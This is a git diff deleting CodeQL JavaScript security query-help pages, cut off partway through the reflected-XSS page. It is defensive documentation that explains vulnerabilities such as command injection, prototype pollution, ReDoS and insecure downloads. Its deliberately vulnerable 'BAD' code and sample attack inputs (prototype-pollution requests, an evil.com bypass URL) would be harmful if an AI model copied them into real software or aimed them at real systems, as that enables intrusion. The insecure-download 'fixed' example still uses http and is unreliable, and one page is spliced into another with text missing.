external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql) - -The `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all. - -Specifically, this can easily happen when implementing `endsWith` using `indexOf`. - - -## Recommendation -Use `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1. - - -## Example -The following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`: - - -```javascript -function endsWith(x, y) { - return x.lastIndexOf(y) === x.length - y.length; -} - -``` -However, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`. - -To avoid this, explicitly check for the -1 case: - - -```javascript -function endsWith(x, y) { - let index = x.lastIndexOf(y); - return index !== -1 && index === x.length - y.length; -} - -``` - -## References -* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) -* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IndirectCommandInjection.md b/docs/language/query-help/javascript/IndirectCommandInjection.md deleted file mode 100644 index 7ecfca43a06..00000000000 --- a/docs/language/query-help/javascript/IndirectCommandInjection.md +++ /dev/null @@ -1,55 +0,0 @@ -# Indirect uncontrolled command line - -``` -ID: js/indirect-command-line-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/IndirectCommandInjection.ql) - -Forwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters. - -When the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of forwarding the command-line arguments to the process, examine the command-line arguments and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that each forwarded command-line argument is properly escaped before using it. - -If the forwarded command-line arguments are part of the arguments of the system command, prefer a library routine that handles the arguments as an array of strings rather than a single concatenated string. This prevents the unexpected evaluation of special characters. - - -## Example -The following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `"dollar$separated$name"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`. - - -```javascript -var cp = require("child_process"); - -const args = process.argv.slice(2); -const script = path.join(__dirname, 'bin', 'main.js'); -cp.execSync(`node ${script} ${args.join(' ')}"`); // BAD - -``` -If another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script. - -To guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`: - - -```javascript -var cp = require("child_process"); - -const args = process.argv.slice(2); -const script = path.join(__dirname, 'bin', 'main.js'); -cp.execFileSync('node', [script].concat(args)); // GOOD - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureDownload.md b/docs/language/query-help/javascript/InsecureDownload.md deleted file mode 100644 index b4a09c5c232..00000000000 --- a/docs/language/query-help/javascript/InsecureDownload.md +++ /dev/null @@ -1,48 +0,0 @@ -# Download of sensitive file through insecure connection - -``` -ID: js/insecure-download -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-829/InsecureDownload.ql) - -Downloading executeables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system. - - -## Recommendation -Use a secure transfer protocol when downloading executables or other sensitive files. - - -## Example -In this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script. - - -```javascript -const fetch = require("node-fetch"); -const cp = require("child_process"); - -fetch('http://mydownload.example.org/myscript.sh') - .then(res => res.text()) - .then(script => cp.execSync(script)); -``` -The HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system. - -The issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol. - - -```javascript -const fetch = require("node-fetch"); -const cp = require("child_process"); - -fetch('http://mydownload.example.org/myscript.sh') - .then(res => res.text()) - .then(script => cp.execSync(script)); -``` - -## References -* OWASP: [Man-in-the-middle attack](https://owasp.org/www-community/attacks/Man-in-the-middle_attack). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureRandomness.md b/docs/language/query-help/javascript/InsecureRandomness.md deleted file mode 100644 index 81c79a5cfb9..00000000000 --- a/docs/language/query-help/javascript/InsecureRandomness.md +++ /dev/null @@ -1,58 +0,0 @@ -# Insecure randomness - -``` -ID: js/insecure-randomness -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-338 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-338/InsecureRandomness.ql) - -Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. - -Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. - - -## Recommendation -Use a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered "security-sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. - -For JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security. - -For JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator. - - -## Example -The following examples show different ways of generating a password. - -In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. - - -```javascript -function insecurePassword() { - // BAD: the random suffix is not cryptographically secure - var suffix = Math.random(); - var password = "myPassword" + suffix; - return password; -} - -``` -In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. - - -```javascript -function securePassword() { - // GOOD: the random suffix is cryptographically secure - var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0]; - var password = "myPassword" + suffix; - return password; -} - -``` - -## References -* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). -* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues). -* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) -* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureUrlWhitelist.md b/docs/language/query-help/javascript/InsecureUrlWhitelist.md deleted file mode 100644 index c6b8ffedd3e..00000000000 --- a/docs/language/query-help/javascript/InsecureUrlWhitelist.md +++ /dev/null @@ -1,49 +0,0 @@ -# Insecure URL whitelist - -``` -ID: js/angular/insecure-url-whitelist -Kind: problem -Severity: warning -Precision: very-high -Tags: security frameworks/angularjs external/cwe/cwe-183 external/cwe/cwe-625 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/InsecureUrlWhitelist.ql) - -AngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow. - -A URL pattern that is too permissive can cause security vulnerabilities. - - -## Recommendation -Make the whitelist URL patterns as restrictive as possible. - - -## Example -The following example shows an AngularJS application with whitelist URL patterns that all are too permissive. - - -```javascript -angular.module('myApp', []) - .config(function($sceDelegateProvider) { - $sceDelegateProvider.resourceUrlWhitelist([ - "*://example.org/*", // BAD - "https://**.example.com/*", // BAD - "https://example.**", // BAD - "https://example.*" // BAD - ]); - }); - -``` -This is problematic, since the four patterns match the following malicious URLs, respectively: - -* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak) -* `https://evil.com/?ignore=://example.com/a` -* `https://example.evil.com` -* `https://example.evilTld` - -## References -* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf) -* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem). -* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html). -* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsufficientPasswordHash.md b/docs/language/query-help/javascript/InsufficientPasswordHash.md deleted file mode 100644 index b59c08c0b5f..00000000000 --- a/docs/language/query-help/javascript/InsufficientPasswordHash.md +++ /dev/null @@ -1,49 +0,0 @@ -# Use of password hash with insufficient computational effort - -``` -ID: js/insufficient-password-hash -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-916 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-916/InsufficientPasswordHash.ql) - -Storing cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords. - -A good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing. - - -## Recommendation -Use a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`. - - -## Example -In the example below, the `md5` algorithm computes the hash of a password. - - -```javascript -const crypto = require("crypto"); -function hashPassword(password) { - var hasher = crypto.createHash('md5'); - var hashed = hasher.update(password).digest("hex"); // BAD - return hashed; -} - -``` -This is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm: - - -```javascript -const bcrypt = require("bcrypt"); -function hashPassword(password, salt) { - var hashed = bcrypt.hashSync(password, salt); // GOOD - return hashed; -} - -``` - -## References -* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/LoopBoundInjection.md b/docs/language/query-help/javascript/LoopBoundInjection.md deleted file mode 100644 index 1219ee965da..00000000000 --- a/docs/language/query-help/javascript/LoopBoundInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# Loop bound injection - -``` -ID: js/loop-bound-injection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-834 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-834/LoopBoundInjection.ql) - -Using the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack. - - -## Recommendation -Either check that the object is indeed an array or limit the size of the `.length` property. - - -## Example -In the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array. - - -```javascript -var express = require('express'); -var app = express(); - -app.post("/foo", (req, res) => { - var obj = req.body; - - var ret = []; - - // Potential DoS if obj.length is large. - for (var i = 0; i < obj.length; i++) { - ret.push(obj[i]); - } -}); - -``` -This is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array. - - -```javascript -var express = require('express'); -var app = express(); - -app.post("/foo", (req, res) => { - var obj = req.body; - - if (!(obj instanceof Array)) { // Prevents DoS. - return []; - } - - var ret = []; - - for (var i = 0; i < obj.length; i++) { - ret.push(obj[i]); - } -}); - -``` - -## References -* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingCsrfMiddleware.md b/docs/language/query-help/javascript/MissingCsrfMiddleware.md deleted file mode 100644 index 9558e2efc3a..00000000000 --- a/docs/language/query-help/javascript/MissingCsrfMiddleware.md +++ /dev/null @@ -1,63 +0,0 @@ -# Missing CSRF middleware - -``` -ID: js/missing-token-validation -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-352/MissingCsrfMiddleware.ql) - -Websites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website. - -This is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request. - - -## Recommendation -Use a middleware package such as `csurf` to protect against CSRF attacks. - - -## Example -In the example below, the server authenticates users before performing the `changeEmail` POST action: - - -```javascript -var app = require("express")(), - cookieParser = require("cookie-parser"), - passport = require("passport"); - -app.use(cookieParser()); -app.use(passport.authorize({ session: true })); - -app.post("/changeEmail", function(req, res) { - let newEmail = req.cookies["newEmail"]; - // ... -}); - -``` -This is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user. - -This vulnerability can be mitigated by installing a CSRF protecting middleware handler: - - -```javascript -var app = require("express")(), - cookieParser = require("cookie-parser"), - passport = require("passport"), - csrf = require("csurf"); - -app.use(cookieParser()); -app.use(passport.authorize({ session: true })); -app.use(csrf({ cookie: true })); -app.post("/changeEmail", function(req, res) { - let newEmail = req.cookies["newEmail"]; - // ... -}); - -``` - -## References -* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRateLimiting.md b/docs/language/query-help/javascript/MissingRateLimiting.md deleted file mode 100644 index 437d56e8abb..00000000000 --- a/docs/language/query-help/javascript/MissingRateLimiting.md +++ /dev/null @@ -1,66 +0,0 @@ -# Missing rate limiting - -``` -ID: js/missing-rate-limiting -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-770 external/cwe/cwe-307 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql) - -HTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time. - - -## Recommendation -A rate-limiting middleware should be used to prevent such attacks. - - -## Example -The following example shows an Express application that serves static files without rate limiting: - - -```javascript -var express = require('express'); -var app = express(); - -app.get('/:path', function(req, res) { - let path = req.params.path; - if (isValidPath(path)) - res.sendFile(path); -}); - -``` -To prevent denial-of-service attacks, the `express-rate-limit` package can be used: - - -```javascript -var express = require('express'); -var app = express(); - -// set up rate limiter: maximum of five requests per minute -var RateLimit = require('express-rate-limit'); -var limiter = new RateLimit({ - windowMs: 1*60*1000, // 1 minute - max: 5 -}); - -// apply rate limiter to all requests -app.use(limiter); - -app.get('/:path', function(req, res) { - let path = req.params.path; - if (isValidPath(path)) - res.sendFile(path); -}); - -``` - -## References -* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html). -* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack). -* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit). -* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). -* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRegExpAnchor.md b/docs/language/query-help/javascript/MissingRegExpAnchor.md deleted file mode 100644 index a5db5c4a2d8..00000000000 --- a/docs/language/query-help/javascript/MissingRegExpAnchor.md +++ /dev/null @@ -1,56 +0,0 @@ -# Missing regular expression anchor - -``` -ID: js/regex/missing-regexp-anchor -Kind: problem -Severity: warning -Precision: medium -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/MissingRegExpAnchor.ql) - -Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. - -Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. - - -## Recommendation -Use anchors to ensure that regular expressions match at the expected locations. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```javascript -app.get("/some/path", function(req, res) { - let url = req.param("url"); - // BAD: the host of `url` may be controlled by an attacker - if (url.match(/https?:\/\/www\.example\.com\//)) { - res.redirect(url); - } -}); - -``` -The check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead: - - -```javascript -app.get("/some/path", function(req, res) { - let url = req.param("url"); - // GOOD: the host of `url` can not be controlled by an attacker - if (url.match(/^https?:\/\/www\.example\.com\//)) { - res.redirect(url); - } -}); - -``` -A related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\.example\.com|beta\.example\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\.example\.com)|(beta\.example\.com)/` - - -## References -* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PasswordInConfigurationFile.md b/docs/language/query-help/javascript/PasswordInConfigurationFile.md deleted file mode 100644 index 24084ee2dac..00000000000 --- a/docs/language/query-help/javascript/PasswordInConfigurationFile.md +++ /dev/null @@ -1,23 +0,0 @@ -# Password in configuration file - -``` -ID: js/password-in-configuration-file -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-256 external/cwe/cwe-260 external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql) - -Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. - - -## Recommendation -Passwords stored in configuration files should always be encrypted. - - -## References -* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). -* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html). -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PolynomialReDoS.md b/docs/language/query-help/javascript/PolynomialReDoS.md deleted file mode 100644 index 3f271fb736f..00000000000 --- a/docs/language/query-help/javascript/PolynomialReDoS.md +++ /dev/null @@ -1,62 +0,0 @@ -# Polynomial regular expression used on uncontrolled data - -``` -ID: js/polynomial-redos -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/PolynomialReDoS.ql) - -Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. - -The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. - -Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. - - -## Example -Consider this use of a regular expression, which removes all leading and trailing whitespace in a string: - -```javascript - - text.replace(/^\s+|\s+$/g, ''); // BAD - -``` -The sub-expression `"\s+$"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence. - -This ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `"a b"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes. - -Avoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\s+|(? { - let prefs = lodash.merge({}, JSON.parse(req.query.prefs)); -}) - -``` -Prior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request: - -``` -GET /news?prefs={"constructor":{"prototype":{"xxx":true}}} -``` -This causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version: - - -```json -{ - "dependencies": { - "lodash": "^4.17.12" - } -} - -``` -Note that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution: - - -```javascript -app.get('/news', (req, res) => { - let config = lodash.merge({}, { - prefs: req.query.prefs - }); -}) - -``` -In the above example, an attacker can cause prototype pollution by sending the following GET request: - -``` -GET /news?prefs[constructor][prototype][xxx]=true -``` - -## References -* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). -* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded) -* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PrototypePollutionUtility.md b/docs/language/query-help/javascript/PrototypePollutionUtility.md deleted file mode 100644 index 853e7f8b85e..00000000000 --- a/docs/language/query-help/javascript/PrototypePollutionUtility.md +++ /dev/null @@ -1,80 +0,0 @@ -# Prototype pollution in utility function - -``` -ID: js/prototype-pollution-utility -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-400 external/cwe/cwe-471 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql) - -Most JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting. - -One way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. - - -## Recommendation -The most effective place to guard against this is in the function that performs the recursive copy or deep assignment. - -Only merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, blacklist the property names `__proto__` and `constructor` from being merged or assigned to. - - -## Example -This function recursively copies properties from `src` to `dst`: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` -However, if `src` is the object `{"__proto__": {"isAdmin": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`. - -The issue can be fixed by ensuring that only own properties of the destination object are merged recursively: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (dst.hasOwnProperty(key) && isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` -Alternatively, blacklist the `__proto__` and `constructor` properties: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (key === "__proto__" || key === "constructor") continue; - if (isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` - -## References -* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). -* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReDoS.md b/docs/language/query-help/javascript/ReDoS.md deleted file mode 100644 index f06a604165f..00000000000 --- a/docs/language/query-help/javascript/ReDoS.md +++ /dev/null @@ -1,48 +0,0 @@ -# Inefficient regular expression - -``` -ID: js/redos -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/ReDoS.ql) - -Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. - -The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. - -Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. - - -## Example -Consider this regular expression: - -```javascript - - /^_(__|.)+_$/ - -``` -Its sub-expression `"(__|.)+?"` can match the string `"__"` either by the first alternative `"__"` to the left of the `"|"` operator, or by two repetitions of the second alternative `"."` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input. - -This problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition: - -```javascript - - /^_(__|[^_])+_$/ - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). -* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReflectedXss.md b/docs/language/query-help/javascript/ReflectedXss.md deleted file mode 100644 index 4f725c53aad..00000000000 --- a/docs/language/query-help/javascript/ReflectedXss.md +++ /dev/null @@ -1,63 +0,0 @@ -# Reflected cross-site scripting - -``` -ID: js/reflected-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in 